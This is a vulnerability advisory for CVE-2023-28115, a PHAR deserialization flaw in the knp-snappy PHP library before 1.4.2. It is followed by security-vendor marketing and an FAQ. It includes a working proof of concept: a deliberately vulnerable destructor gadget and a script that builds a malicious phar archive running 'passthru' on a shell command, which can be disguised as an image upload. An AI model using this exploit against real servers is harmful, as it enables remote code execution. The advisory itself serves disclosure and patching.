Summary
PHAR deserialization allowing remote code execution
Description
snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the generateFromHtml() function, it will invoke deserialization.
Proof of Concept
Install Snappy via composer require knplabs/knp-snappy. After that, under snappy directory, create an index.php file with this vulnerable code.
<?php
// index.php
// include autoloader
require __DIR__ . '/vendor/autoload.php';
// reference the snappy namespace
use Knp\Snappy\Pdf;
// vulnerable object
class VulnerableClass {
public $fileName;
public $callback;
function __destruct() {
call_user_func($this->callback, $this->fileName);
}
}
$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
// generate pdf from html content and save it at phar://poc.phar
$snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar');
As an attacker, we going to generate the malicious phar using this script.
<?php
// generate_phar.php
class VulnerableClass { }
// Create a new instance of the Dummy class and modify its property
$dummy = new VulnerableClass();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload
// Delete any existing PHAR archive with that name
@unlink("poc.phar");
// Create a new archive
$poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();
// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
// Add a new file in the archive with "text" as its content
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>
Then run these command to generate the file
php --define phar.readonly=0 generate_phar.php
Then execute index.php with php index.php. You will see a file named pwned will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.
Occurences
References
Impact
This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.
Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.
CVE-2023-28115 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2023-28115? CVE-2023-28115 is a critical-severity insecure deserialization vulnerability in knplabs/knp-snappy (composer), affecting versions < 1.4.2. It is fixed in 1.4.2. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
- How severe is CVE-2023-28115? CVE-2023-28115 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of knplabs/knp-snappy are affected by CVE-2023-28115? knplabs/knp-snappy (composer) versions < 1.4.2 is affected.
- Is there a fix for CVE-2023-28115? Yes. CVE-2023-28115 is fixed in 1.4.2. Upgrade to this version or later.
- Is CVE-2023-28115 exploitable, and should I be worried? Whether CVE-2023-28115 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-28115 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-28115? Upgrade
knplabs/knp-snappyto 1.4.2 or later.